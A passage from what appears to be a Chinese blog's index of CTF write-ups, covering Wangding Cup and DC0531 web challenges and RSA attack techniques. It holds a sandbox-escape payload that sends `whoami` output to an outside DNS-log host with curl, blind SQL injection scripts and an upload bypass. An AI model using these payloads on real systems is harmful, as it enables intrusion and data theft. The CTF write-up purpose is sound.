$_GET['save_path'].\"/\".rand(10, 99).date(\"YmdHis\").\".\".$file_ext; 文件路径是可控的但是后面拼接了随机文件名, 1move_uploaded_file($temp_file,$img_path) 我们知道mov_uploaded_file可以用%00截断路径。所以构造路径","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"WDB.2","slug":"WDB-2","date":"2018-08-22T08:09:42.000Z","updated":"2018-11-02T05:44:22.418Z","comments":true,"path":"2018/08/22/WDB-2/","link":"","permalink":"http://altman.vip/2018/08/22/WDB-2/","excerpt":"网鼎杯第二场writeup","text":"网鼎杯第二场writeup WEBcalc计算器功能,其中有正则显示。随手测试发现网站后端是用python写的。尝试在计算器功能中执行命令,发现无法回显。然后尝试DNS带出数据成功 11+1+().__class__.__bases__[0].__subclasses__()[59].__enter__.__func__.__getattribute__('__global' + 's__')['s'+'ys'].modules['o'+'s'].__getattribute__('sy' + 'stem')(\"curl ghljcn.ceye.io/`whoami | base64`\") 然后查找 ‘find / -name flag’读flag ‘cat /flag’ wafupload代码审计,考点比较老了,之前在pwnhub的公开赛上出现过,就不详细解释了,关键点在php的对数组的end函数和count()-1对比产生的的差异,可以导致任意文件上传 然后在根目录下翻到flag,直接cat读即参考https://www.virzz.com/2017/09/20/pwnhub_writeups_sha_fu_fu_workdays.html sqlweb弱密码admin admin123登陆成功,然后提示给了表明列名删除cookie重新登录,发现了黑名单,但是没有过滤小于号,尝试注入,单引号闭合成功。payload:wuyanzu’/**/&&passwd<’%s’#直接贴上脚本 123456789101112131415161718192021222324#!/usr/bin/env python#Author:Sublime#coding:utf-8import requests as reqimport stringurl = 'http://7c9f5cab07ae428daedba75e55df7f9ed9d32408d5754c2f.game.ichunqiu.com/sql.php'data = { 'uname':'', 'passwd':'admin123', 'submit':'1'}payload = \"\"\"wuyanzu'/**/&&passwd<'%s'#\"\"\"flag = ''# for x in range(1,100):# for y in range(30,127):# print y# payload1 = payload%(flag+chr(y))# data['uname'] = payload1# f = req.post(url,data)# if 'passwd error' in f.content:# flag += chr(y-1)# print flag# breakprint 'FLAG{1BDE8B12-D7C6-4E53-BBC1-5BA1F7A8CCE4}'.lower() unfinished这是一个二次注入,发现注册页面后尝试注册 altman’ or 1=1#登陆后发现用户名为 1 ,应该是bool盲注题目过滤了很关键的逗号和information我们只能用join绕过,最后写得脚本 1234567891011121314151617181920212223242526272829303132333435363738394041424344#!/usr/bin/env python#Author:Sublime#coding:utf-8import requests as reqimport stringimport randomurl = 'http://6e38e15412a349e2bc0d3a7c28f23457be8f9872113449bc.game.ichunqiu.com/'def reg(email,payload): data = { 'email':email, 'username':payload, 'password':'aaa' } cookie = { 'PHPSESSID':'sba5or9h0mgsh2lr7boe8knji7' } f = req.post(url+'register.php',data=data,cookies=cookie,allow_redirects=False) # print f.contentdef login(email): data1 = { 'email':email, 'password':'aaa' } cookie = { 'PHPSESSID':'sba5or9h0mgsh2lr7boe8knji7' } f = req.post(url+'login.php',data=data1,cookies=cookie) # print f.content if \"\"\"<span class=\"user-name\"> -1 </span>\"\"\" in f.content: return 1flag = ''for x in range(1,100): for y in string.printable: payload = \"admin'-(ascii(mid(reverse(mid((select * from (select i.1 from (select * from (select 1)a union select * from flag)i limit 1 offset 1)y limit 1)from(-\"+str(x)+\")))from(-1)))=\"+str(ord(y))+\")-'\" email = str(int(random.randint(1,99999)))+'@xjb.com' # print email reg(email,payload) a = login(email) if a==1: flag += y print flag break cryptoRSA常规的RSA解密 12345678910enc=\"ICCHhzayltixzeuA++PPbDwlialEjQuDBx38ecgQwl5lOTnemrcWYbDeQkIIE5oPQOcSmNX8nmcDgyl4O05jYD7VmDcgwQTIgHeOLovcqGVPHEW4hHSmIR3BB/CBjb3/5+HfeifXF1w+/o148o76D9NtTBYaLk8CTjOscT23PBI8w+WPhHBIPaSbJlDuaHA4Ie6ojsE6mM7cp79dz7bCdAf5a2tUGA6AbNCuP1WVnsBI+IIHX8EDELmBnQ5c13JuYnjHL5lmqL3QK88QwQQ4h/3vUODAWBuzn8meWBgfpqxmHTGJ+du2mRoUTpUBzZy2OxrKdD8J11Hc+yJJJkQe5QgqACbM00K0rTv7kIyB2aB/gUGLNP4IOwV09avUpzLS2PPLgeAVP/JSGYlXZTthy4FlqL5pMN4/+swNnEN6Z+lPzLNe0JB0uNN/yPJ3C3lsSuoFLh0InYI46Tycs8vz1nHQWjQdE6hpD/HpyCbjoC2BE4ugCJKUtmp7mbyDxkjkn5ZkHhrJXK/DF4NQgYmfkZxyLOWsI2UC1niq5qGD3SIspW8NcupyGakYVzD1R9PP8xoxpkjX62f7myXLMmacbJgYe7ExeWdYXMZd76Tnqu9IJJwEO43LZz+w2rqH8DIlhr64JenxaDcIixqFzKmkk6WK71VVT3t788ZxaNhG2yo=\"c=int(enc.decode('base64').encode('hex'),16)n = 365848589691553391654453815696801609393691558975114732077589431735072735814004481321693204054611153742844719038444697593327493027785795731389621927670788503335861977736740530534583572225955976966446771693720421426616666151538067479984725761741317847115913974275314572559550814811157603376899910638368755166255776849626761808720772583206050387900451906315871548607212450421821284358760939660687558588799753487824506759639032283177034815892289194765173975342074810666614953387403646634191147782168926568900983361174986224868620163303631776464544385042160475855173792780028858673004579549168611488908206940265042017827224145445864849990033230038346962998044409425059655414595541354712964867076540952852074402602485254837693009606256646491881886402251519107628767780560029195077356603998621239496833842620813594476086809217145741837067697701029006079475655230057641122885601163764359304119539318186498359110652713132230601632984636292710845264886583673643096710521658506038045125724977714211793704349604343253187208130136333839351343850952892593409667791896415744436543839302830842902421646274217466522255794836216649020356914498443158290307092169834254304137975684324590877396301465368942446331758175055737212871262544202124864201404357e = 65537d = 171667543985758425014232627985840717336387122108163758500542139626729279212540485673813409388397427405892256280730752710530037468765259171638824687119216443453078833931370749271396524300663719786871097595637432285751800013612137436020725492852419342272435212733486026753609513054804440530485467017884797272879406284689903095072725307517165288748564887361729738358011463377509622604034612759898436024272853796444439505507110804160400608180412245257162062494766079887998276493727771202445125297118556385657613871902180087388189988280105656191733965985878495407148701887047735812018200868151321246119065258205755102189932618492331181731032930671506379119003614308043854723142913145153824556828017544028126772950732350030371733003652817854070184981540813302478821473998511699291112000260313162924676245915026226201977284465842505256191235822318812659628683043195357384607192367037650400361829016395922074065034014120534209020328864830006606839179592932609256661738193663329776230050481312159600570791315455079679469956882283489829258240404557309270261381865785081719442470884775430068193960751589033994677379472095235901602941733635505402949964622214247924792042997962235246007680923289071880896909708764598890244005005286926994431628289m =hex(pow(c,d,n))[2:].rstrip('L')print ('0'+m).decode('hex') flag{w3lC0M3_t0_rS4_w0RlD}","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"},{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"RSA-STUDY","slug":"RSA-STUDY","date":"2018-07-23T09:12:58.000Z","updated":"2018-11-26T10:04:57.290Z","comments":true,"path":"2018/07/23/RSA-STUDY/","link":"","permalink":"http://altman.vip/2018/07/23/RSA-STUDY/","excerpt":"RSA原理知识准备素数:素数又称质数,指在一个大于1的自然数中,除了1和此整数自身外,不能被其他自然数整除的数。 互质数:公因数只有1的两个数,叫做互质数 模运算:两个整数a,b,若它们除以正整数m所得的余数相等,则称a,b对于模m同余,记作: a ≡ b (mod m);读作:a同余于b模m,或者,a与b关于模m同余。例如:26 ≡ 14 (mod 12)。 欧拉函数:在数论,对正整数n,欧拉函数是小于n的正整数中与n互质的数的数目(φ(1)=1)。 模反元素:如果两个正整数a和n互质,那么一定可以找到整数b,使得 ab-1 被n整除,或者说ab被n除的余数是1。这时,b就叫做a的“模反元素”。","text":"RSA原理知识准备素数:素数又称质数,指在一个大于1的自然数中,除了1和此整数自身外,不能被其他自然数整除的数。 互质数:公因数只有1的两个数,叫做互质数 模运算:两个整数a,b,若它们除以正整数m所得的余数相等,则称a,b对于模m同余,记作: a ≡ b (mod m);读作:a同余于b模m,或者,a与b关于模m同余。例如:26 ≡ 14 (mod 12)。 欧拉函数:在数论,对正整数n,欧拉函数是小于n的正整数中与n互质的数的数目(φ(1)=1)。 模反元素:如果两个正整数a和n互质,那么一定可以找到整数b,使得 ab-1 被n整除,或者说ab被n除的余数是1。这时,b就叫做a的“模反元素”。 公钥与私钥1.找到两个的不同大素数p&q,N=pq。2.根据欧拉函数得到 r=(p-1)(q-1)3.选择一个小于r的整数e,求e关于模r的模反元素d。4.销毁p,q。 这样就得到了公钥(N,e),私钥(N,d) 加密解密过程加密只需要公钥(N,e),对于明文x进行如下运算x^e ≡ c (mod N)得到密文c。 解密只需要知道私钥(N,d),对于密文c进行如下运算c^d ≡ x (mod N)还原明文x。 CTF中的RSA例题0x01 基础RSA加密用公钥和密文解密出明文,这建立在N可分解的基础上,我们可以通过pq得到秘钥。 1234567891011121314151617# coding: utf-8from Crypto.PublicKey import RSAimport gmpy2import codecspub=RSA.importKey(open(\"/Users/a1tm4nz/Downloads/RSA/public.pem\").read())n=pub.n #ne=pub.e #ep=258631601377848992211685134376492365269 # 通过http://factordb.com/分解Nq=286924040788547268861394901519826758027#d=gmpy2.invert(e,(p-1)*(q-1))d=23071769375111040425287244625328797615295772814180109366784249976498215494337c=int(codecs.encode(open('/Users/a1tm4nz/Downloads/RSA/flag.enc','rb').read(),'hex_codec'),16)m=hex(pow(c,d,n))[2:].replace(\"L\",\"\")if(len(m)%2==1):#16进制解密要求密文不能为奇数,在头部填0即可 m='0'+mprint m.decode('hex') 0x02 wiener attack当N或e都很大时,我们可以使用wiener攻击github上有利用脚本: https://github.com/pablocelayes/rsa-wiener-attack 南邮平台上的一道题 1234567891011#coding:utf-8from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5import base64flag=raw_input('flag:')key=RSA.construct((1063045321283844468344531168992778520651192162100948533991539097447031440090068191835838938460807260866872379834796862916118785271062209281267667069640000501698142693389209275376843382863579650119977059768375028586326490055087394631528241983631462471709913758728591459476799115050977493979613545056736162868049L, 837165022918376318972691589160491375229372195625940137121740685432530132860541010174727630660292946071507342455170833392895060048564125597915757582027572284342507277083636059558106672685400173531425920294781499112027917632497954958437660357575400222692979844873372105801998210845285775146263117399191185379347L))cipher = Cipher_pkcs1_v1_5.new(key)cipher_text = base64.b64encode(cipher.encrypt(flag))print cipher_text#cipher_text = 'AGgt1h6dudnkeoCr7SFclkYYsYa65KZ8V29bbgbf+BDyjnyx5stCYjcyktat73aHs2EOaMgwGUwj3HwPTvT+T5LHIxM4uTnAgWOui4dnb7vF7QizN0ShY2O1h26CgLnf5I0vQWbY7WCC7kA/orNW7F5yxZiKRAawacS2M5ghP4/Q' N,e都很大。我们用wiener attack 得到d 1python rsa-wiener-attack/RSAwienerHacker.py n e 得到私钥d 1d=57899763801722261062891290503559835904571946557258761154422546104824094670843 接下来就是常规的RSA解密 12345678910111213import base64n=1063045321283844468344531168992778520651192162100948533991539097447031440090068191835838938460807260866872379834796862916118785271062209281267667069640000501698142693389209275376843382863579650119977059768375028586326490055087394631528241983631462471709913758728591459476799115050977493979613545056736162868049e=837165022918376318972691589160491375229372195625940137121740685432530132860541010174727630660292946071507342455170833392895060048564125597915757582027572284342507277083636059558106672685400173531425920294781499112027917632497954958437660357575400222692979844873372105801998210845285775146263117399191185379347d=57899763801722261062891290503559835904571946557258761154422546104824094670843m='AGgt1h6dudnkeoCr7SFclkYYsYa65KZ8V29bbgbf+BDyjnyx5stCYjcyktat73aHs2EOaMgwGUwj3HwPTvT+T5LHIxM4uTnAgWOui4dnb7vF7QizN0ShY2O1h26CgLnf5I0vQWbY7WCC7kA/orNW7F5yxZiKRAawacS2M5ghP4/Q'c=int(base64.b64decode(m).encode('hex'),16)flag=hex(pow(c,d,n))[2:].replace(\"L\",\"\")if(len(flag)%2==1): flag='0'+flagprint flag.decode('hex') 0x03 有公因数的两个N给了两对公钥,N太大无法分解,但是N1,N2有公因数。那么此时公因数就是p,可以分别求出q1,q2题目 123456n1=18263905851567773440446838695766097054252159817375942220432646590577605535001102705343902666589196712209131000424743250389209817386462242094905266578654348699073317748484503797678183012090375022172700739930717847219593096973008967105897376613550069563133191469825170677181620033104899474861544205137427444083416158205978241738189319430709815369614381957092634679663073529915011800029514945250518582469896694087993939399022631417819581576165949892810231692555896017395242464371112868608767990194529216988324463096379599680586615395063392235579858007086701467453321499203151052012397135583838714605379937464734426058203n2=16950818485762084795193828768953323876388698051219062552262211712110062204954209462306530235388240321343855913666709750794055992220667151032536667937762799073479211925880106492191394846770654371623007051501782616639485222511300384032213459590408774089539345780246233268007572472533774114330568959631749390932599046733958624832563792588926026242133422467392689761450865841250657088270966077177543599222351800102728976845282712937106806976091210265560260177661816495238213887970556095475226646345568545415814035277834069152282458515989066082948101449829801979628039212597995349260855092279108102204886522855975419755219c1=16274856857661787783089247952446020386301296490309822420733326939579521159181274564159881569720941773424141684911497028248685883897404191432880449283023146073930043226457053587418510143359803678057561120305169670182063356905346792409675959838228170818653485027257264058185367161472527834396804757004371950225319647551718070122431050642186905590213972232201966833949845104276760241004644118590467546314025479853604227295841523010158969804175921406672115195772809154058842429049437301440993794765038365224477229612151404063782303298937771968709567577283974551173044172598459482531433545960749147311254443274915272200560c2=9946468920119252596998213656931348575944985856629754429330209121534145245119561878513995066589817036899299533093751237144960328759208855732474853794711347203865156360078772132790431594811682581926722057546683437873159107885652842304739962490836998123152090675606004046425633751397173768982047965656687448847259753864171018963561303276197312504508548802813909914926514763930195218396740593919987596462341469781868335025782329081775818968846955110510048099746584203570892950955431181639182647914240604278151551608856971433512600491550082244566145491335738112881861092354219766862656988674738232228115996349755982641605e1=1804229351e2=17249876309 解密脚本 1234567891011121314151617181920212223242526272829303132# coding: utf-8from Crypto.PublicKey import RSAimport gmpy2import codecsn1=18263905851567773440446838695766097054252159817375942220432646590577605535001102705343902666589196712209131000424743250389209817386462242094905266578654348699073317748484503797678183012090375022172700739930717847219593096973008967105897376613550069563133191469825170677181620033104899474861544205137427444083416158205978241738189319430709815369614381957092634679663073529915011800029514945250518582469896694087993939399022631417819581576165949892810231692555896017395242464371112868608767990194529216988324463096379599680586615395063392235579858007086701467453321499203151052012397135583838714605379937464734426058203n2=16950818485762084795193828768953323876388698051219062552262211712110062204954209462306530235388240321343855913666709750794055992220667151032536667937762799073479211925880106492191394846770654371623007051501782616639485222511300384032213459590408774089539345780246233268007572472533774114330568959631749390932599046733958624832563792588926026242133422467392689761450865841250657088270966077177543599222351800102728976845282712937106806976091210265560260177661816495238213887970556095475226646345568545415814035277834069152282458515989066082948101449829801979628039212597995349260855092279108102204886522855975419755219c1=16274856857661787783089247952446020386301296490309822420733326939579521159181274564159881569720941773424141684911497028248685883897404191432880449283023146073930043226457053587418510143359803678057561120305169670182063356905346792409675959838228170818653485027257264058185367161472527834396804757004371950225319647551718070122431050642186905590213972232201966833949845104276760241004644118590467546314025479853604227295841523010158969804175921406672115195772809154058842429049437301440993794765038365224477229612151404063782303298937771968709567577283974551173044172598459482531433545960749147311254443274915272200560c2=9946468920119252596998213656931348575944985856629754429330209121534145245119561878513995066589817036899299533093751237144960328759208855732474853794711347203865156360078772132790431594811682581926722057546683437873159107885652842304739962490836998123152090675606004046425633751397173768982047965656687448847259753864171018963561303276197312504508548802813909914926514763930195218396740593919987596462341469781868335025782329081775818968846955110510048099746584203570892950955431181639182647914240604278151551608856971433512600491550082244566145491335738112881861092354219766862656988674738232228115996349755982641605e1=1804229351e2=17249876309q=gmpy2.gcd(n1,n2)p1=n1//qp2=n2//qd1=gmpy2.invert(e1,(p1-1)*(q-1))d2=gmpy2.invert(e2,(p2-1)*(q-1))while d1<0: d1+=(p1-1)*(q-1)while d2<0: d2+=(p2-1)*(q-1)m2=hex(pow(c2,d2,n2))[2:].replace(\"L\",\"\")m1=hex(pow(c1,d1,n1))[2:].replace(\"L\",\"\")if(len(m2)%2==1): m2='0'+m2if(len(m1)%2==1): m1 ='0'+ m1print m1.decode('hex')print m2.decode('hex') 0x04 低指数攻击e=3时进行低指数攻击 12345678910111213141516171819# coding:utf-8import gmpy2c=545666236924510340010249577709750283325731706774285241719627277546281629429734726717293022303311450772262647904537263500252284243393598944613964442974546950954108203106726282255676706429218187217515454665602130999856741523362906632677988245886500953095201122016935004088287862399317170828388632964668574391252399791901016522260191839164586088073933168096433230663402492577707149742261018318811473591856287943664733276898405984282679026758294364432874973387827086342720762945025346962005339728347282927842299962927871005260338747371451546554777112213044710533502191671159066680035742327279159127279685106716107705888068319962657817786581813767331740609788885735155741039564703781141646102609725965697004923161084032164730408824475517786576979990372940555488021025837456038491436690372760376483602299268887032528766383572923258228355911069631275397149328319966792315903921085816103476508992023873616148326626245855060470294978538631677232260545724075728912626994884533001056079733734460116442499311813113038763837974777469202302071221647473459505245546281400799833123812072606012604323510933244028733287443734697557314202167934768160824072400916728008549350662843995750077421616789178835625661267955774815287104291379928002318796086248n=721059527572145959497866070657244746540818298735241721382435892767279354577831824618770455583435147844630635953460258329387406192598509097375098935299515255208445013180388186216473913754107215551156731413550416051385656895153798495423962750773689964815342291306243827028882267935999927349370340823239030087548468521168519725061290069094595524921012137038227208900579645041589141405674545883465785472925889948455146449614776287566375730215127615312001651111977914327170496695481547965108836595145998046638495232893568434202438172004892803105333017726958632541897741726563336871452837359564555756166187509015523771005760534037559648199915268764998183410394036820824721644946933656264441126738697663216138624571035323231711566263476403936148535644088575960271071967700560360448191493328793704136810376879662623765917690163480410089565377528947433177653458111431603202302962218312038109342064899388130688144810901340648989107010954279327738671710906115976561154622625847780945535284376248111949506936128229494332806622251145622565895781480383025403043645862516504771643210000415216199272423542871886181906457361118669629044165861299560814450960273479900717138570739601887771447529543568822851100841225147694940195217298482866496536787241e=3i = 0while True: if gmpy2.iroot(c + i * n, 3)[1] == True: print \"Success!\" m=gmpy2.iroot(c + i * n, 3) print m break i += 1# m=440721643740967258786371951429849843897639673893942371730874939742481383302887786063966117819631425015196093856646526738786745933078032806737504580146717737115929461581126895844008044713461807791172016433647699394456368658396746134702627548155069403689581548233891848149612485605022294307233116137509171389596747894529765156771462793389236431942344003532140158865426896855377113878133478689191912682550117563858186Lm=hex(m)[2:].replace(\"L\",\"\")if (len(m) % 2 == 1): m= '0' + mprint m.decode('hex') 0x05 共模攻击当有两个e两个c时,可以进行公模攻击 123456789101112131415161718192021# coding:utf8import gmpy2import libnumimport codecsn=0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929c1=int(codecs.encode(open(\"/Users/a1tm4nz/crypto/veryhardRSA/flag.enc1\",'rb').read(),'hex_codec'),16)c2=int(codecs.encode(open(\"/Users/a1tm4nz/crypto/veryhardRSA/flag.enc2\",'rb').read(),'hex_codec'),16)e1=17e2=65537s1=libnum.xgcd(e1,e2)[0]s2=libnum.xgcd(e1,e2)[1]#此处判断s1和s2是否小于0,因为pow()函数里s1和s2不能为负,if(s1<0): s1=-s1 c1=gmpy2.invert(c1,n)#若s1为负,s1取正,c1取逆if(s2<0): s2=-s2 c2=gmpy2.invert(c2,n)m=libnum.n2s((pow(c1,s1,n)*pow(c2,s2,n)%n))print(m) 0x06 Lattice based attacks on RSA题目 12345# n=0x79982a272b9f50b2c2bc8b862ccc617bb39720a6dc1a22dc909bbfd1243cc0a03dd406ec0b1a78fa75ce5234e8c57e0aab492050906364353b06ccd45f90b7818b04be4734eeb8e859ef92a306be105d32108a3165f96664ac1e00bba770f04627da05c3d7513f5882b2807746090cebbf74cd50c0128559a2cc9fa7d88f7b2d# e=0x3# c=0x381db081852c92d268b49a1b9486d724e4ecf49fc97dc5f20d1fad902b5cdfb49c8cc1e968e36f65ae9af7e8186f15ccdca798786669a3d2c9fe8767a7ae938a4f9115ae8fed4928d95ad550fddd3a9c1497785c9e2279edf43f04601980aa28b3b52afb55e2b34e5b175af25d5b3bd71db88b3b31e48a177a469116d957592c# b=0xfedcba98765432100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000# m=b+x (x:64bit) n无法分解,低指数爆破失败,但我们已用明文的高位。参考:https://github.com/mimoo/RSA-and-LLL-attacks使用sage可以解出明文 12345678910111213141516171819202122232425262728# partial_m.sagen = 0x79982a272b9f50b2c2bc8b862ccc617bb39720a6dc1a22dc909bbfd1243cc0a03dd406ec0b1a78fa75ce5234e8c57e0aab492050906364353b06ccd45f90b7818b04be4734eeb8e859ef92a306be105d32108a3165f96664ac1e00bba770f04627da05c3d7513f5882b2807746090cebbf74cd50c0128559a2cc9fa7d88f7b2de = 3m = randrange(n)c = pow(m, e, n)beta = 1epsilon = beta^2/7nbits = n.nbits()kbits = floor(nbits*(beta^2/e-epsilon))#mbar = m & (2^nbits-2^kbits)mbar = 0xfedcba98765432100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c = 0x381db081852c92d268b49a1b9486d724e4ecf49fc97dc5f20d1fad902b5cdfb49c8cc1e968e36f65ae9af7e8186f15ccdca798786669a3d2c9fe8767a7ae938a4f9115ae8fed4928d95ad550fddd3a9c1497785c9e2279edf43f04601980aa28b3b52afb55e2b34e5b175af25d5b3bd71db88b3b31e48a177a469116d957592cprint \"upper %d bits (of %d bits) is given\" % (nbits-kbits, nbits)PR.<x> = PolynomialRing(Zmod(n))f = (mbar + x)^e - cprint mx0 = f.small_roots(X=2^kbits, beta=1)[0] # find root < 2^kbits with factor = nprint mbar + x0print x0 // 在线sage网站 http://sagecell.sagemath.org/ 0x07 广播攻击使用不同的模数n,相同的公钥指数e加密相同的信息。就会得到多个(m^e) ==ci (mod ni),将(m^e)视为一个整体M,这就是典型的中国剩余定理适用情况。按照本文的中国剩余定理小节容易求得m^e的值,当e较小时直接开e方即可,可使用gmpy2.iroot(M,e)。例题和脚本 1234567891011121314151617181920212223242526272829303132import gmpy2def broadcast(n1, n2 ,n3, c1, c2, c3): n = [n1, n2, n3] C = [c1, c2, c3] N = 1 for i in n: N *= i Ni = [] for i in n: Ni.append(N / i) T = [] for i in xrange(3): T.append(long(gmpy2.invert(Ni[i], n[i]))) X = 0 for i in xrange(3): X += C[i] * Ni[i] * T[i] m3 = X % N m = gmpy2.iroot(m3, 3) return mn1=0x43d819a4caf16806e1c540fd7c0e51a96a6dfdbe68735a5fd99a468825e5ee55c4087106f7d1f91e10d50df1f2082f0f32bb82f398134b0b8758353bdabc5ba2817f4e6e0786e176686b2e75a7c47d073f346d6adb2684a9d28b658dddc75b3c5d10a22a3e85c6c12549d0ce7577e79a068405d3904f3f6b9cc408c4cd8595bf67fe672474e0b94dc99072caaa4f866fc6c3feddc74f10d6a0fb31864f52adef71649684f1a72c910ec5ca7909cc10aef85d43a57ec91f096a2d4794299e967fcd5add6e9cfb5baf7751387e24b93dbc1f37315ce573dc063ecddd4ae6fb9127307cfc80a037e7ff5c40a5f7590c8b2f5bd06dd392fbc51e5d059cffbcb85555c1=0x5517bdd6996b54aa72c2a9f1eec2d364fc71880ed1fa8630703a3c38035060b675a144e78ccb1b88fa49bad2ed0c6d5ad0024d4bb18e7d87f3509b0dbf238a0d1ff33f48ffc99c1bdf2f2547a193e7ab66eec562a7bc3f9521f70d453ff6d1fdb24de40b3f621ca6be6606440d09d0f302d5806e7cebc9b612522f181baa43373d6827ffd794916ffcc205147c8d88a59d2fce4bbcdfd6a4934fb72d5f74be79a1bd64b4305865c9d20eb96d8bd7976440a4bc326fdb5b9a04bac3762a664346a175f1029f448bb421506f3dfeb75d6531f89f0b92a7e66e295ede5928ec8301a202d5c9fd528cda84190c2b47f423af1a59c63ae6253d1903c83ae158f9b42n2=0x60d175fdb0a96eca160fb0cbf8bad1a14dd680d353a7b3bc77e620437da70fd9153f7609efde652b825c4ae7f25decf14a3c8240ea8c5892003f1430cc88b0ded9dae12ebffc6b23632ac530ac4ae23fbffb7cfe431ff3d802f5a54ab76257a86aeec1cf47d482fec970fc27c5b376fbf2cf993270bba9b78174395de3346d4e221d1eafdb8eecc8edb953d1ccaa5fc250aed83b3a458f9e9d947c4b01a6e72ce4fee37e77faaf5597d780ad5f0a7623edb08ce76264f72c3ff17afc932f5812b10692bcc941a18b6f3904ca31d038baf3fc1968d1cc0588a656d0c53cd5c89cedba8a5230956af2170554d27f524c2027adce84fd4d0e018dc88ca4d5d26867c2=0x3288e3ea8c74fd004e14b66a55acdcbcb2e9bd834b0f543514e06198045632b664dac3cf8578cde236a16bef4a1246de692ec6a61ce507a220fa04e09044632787ba42b856cb13be6e905c20b493004822888d3c44c6fc367c7af0287f1683f08baae5bb650902067908e93246af3954d62437aa14248529fd07c8902b9403920b6550f12d1c398881cd7fc8b5f096f38c33df21887bfe989fb011a9deade2370d90347510b76f1f3e3dedf09c148675ea8919878c8ac188253b78886d906cd1f3aee5484d6d13fb4bbad233f670f825fa618adbf0705ed4e31b60957f5c28cfd1febd13370630a6c94990e341d38918a9c1faa614fd14cdd41b7bc8461f2f0cn3=0x280f992dd63fcabdcb739f52c5ed1887e720cbfe73153adf5405819396b28cb54423d196600cce76c8554cd963281fc4b153e3b257e96d091e5d99567dd1fa9ace52511ace4da407f5269e71b1b13822316d751e788dc935d63916075530d7fb89cbec9b02c01aef19c39b4ecaa1f7fe2faf990aa938eb89730eda30558e669da5459ed96f1463a983443187359c07fba8e97024452087b410c9ac1e39ed1c74f380fd29ebdd28618d60c36e6973fc87c066cae05e9e270b5ac25ea5ca0bac5948de0263d8cc89d91c4b574202e71811d0ddf1ed23c1bc35f3a042aac6a0bdf32d37dede3536f70c257aafb4cfbe3370cd7b4187c023c35671de3888a1ed1303c3=0xb0c5ee1ac47c671c918726287e70239147a0357a9638851244785d552f307ed6a049398d3e6f8ed373b3696cfbd0bce1ba88d152f48d4cea82cd5dafd50b9843e3fa2155ec7dd4c996edde630987806202e45821ad6622935393cd996968fc5e251aa3539ed593fe893b15d21ecbe6893eba7fe77b9be935ca0aeaf2ec53df7c7086349eb12792aefb7d34c31c18f3cd7fb68e8a432652ef76096096e1a5d7ace90a282facf2d2760e6b5d98f0c70b23a6db654d10085be9dcc670625646a153b52c6c710efe8eb876289870bdd69cb7b45813e4fcfce815d191838926e9d60dd58be73565cff0e10f4e80122e077a5ee720caedc1617bf6a0bb072bbd2dab0m = broadcast(n1,n2,n3,c1,c2,c3)print hex(int(m[0])).replace(\"L\",\"\")","categories":[],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://altman.vip/tags/crypto/"}]},{"title":"DC0531CTF-WP","slug":"DC0531CTF-WP","date":"2018-06-18T08:10:38.000Z","updated":"2018-11-02T05:49:09.711Z","comments":true,"path":"2018/06/18/DC0531CTF-WP/","link":"","permalink":"http://altman.vip/2018/06/18/DC0531CTF-WP/","excerpt":"比赛四道WEB题 都挺有难度。","text":"比赛四道WEB题 都挺有难度。 web1这个题刚开始我以为是关注公众号就会给flag,结果是一道挺有难度的题目。进去公众号发送flag,得到如下内容 12345678Welcome to DC0531 unknown battle ground! you have following options to utilize: 1. find a weapon (f:) 2. pick up a weapon (for instance: p:kar98) 3. reload a weapon (r:) 4. shoot a target (s:xxx) 5. check ur weapon's status (c:) 6. upload ur weapon (just upload image-file) 7. show ur weapon (sh:) 随意的尝试后没什么用,得到提示:shoot your own ip在自己的VPS上开了个端口监听,然后发送s:vps,没有回显。经过尝试发现是ICMP协议。 1tcpdump -i eth0 icmp 然后继续s:vps,得到一条来自139.198.3.171的请求。139.198.3.171可能就是题目地址。访问139.198.3.171,首页是乱码,简单的尝试后发现了GIT泄露。使用Githack恢复了源码。接下来就是代码审计。 这是一个Thinkphp框架的网站,直接定位到Controller。查看TestController.class.php发现了实现微信公众号功能的两个关键函数 12345678910111213141516171819202122232425262728293031public function p($weapon){ $res = \"\"; if(!is_file($this->real_path . '/' . $weapon)){ $res = \"No such weapon! U bitch!\\n\"; }else{ $this->info['weapon'] = $weapon; $this->info['bullet'] = substr(base64_encode(file_get_contents($this->real_path . '/' . $this->info['weapon'])),0,100); // no bullets initially $this->info['status'] = 0; $res = \"You have changed ur weapon to \" . $weapon . \"\\n\"; } return $res; } public function s($target){ $res = \"\"; if(!preg_match('/^(?:25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)(?:[.](?:25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)){3}$/', $target)){ $res = \"This is not a target! R U kidding?\\n\"; }else{ // make sure u have bullets if($this->info['status']>0){ $this->info['status'] = $this->info['status'] - 1; $bullet = $this->info['bullet'][100 - $this->info['status']]; system(\"ping -c 1 -W 1 -p '\" . bin2hex($bullet) .\"' \".$target . \" 2>&1 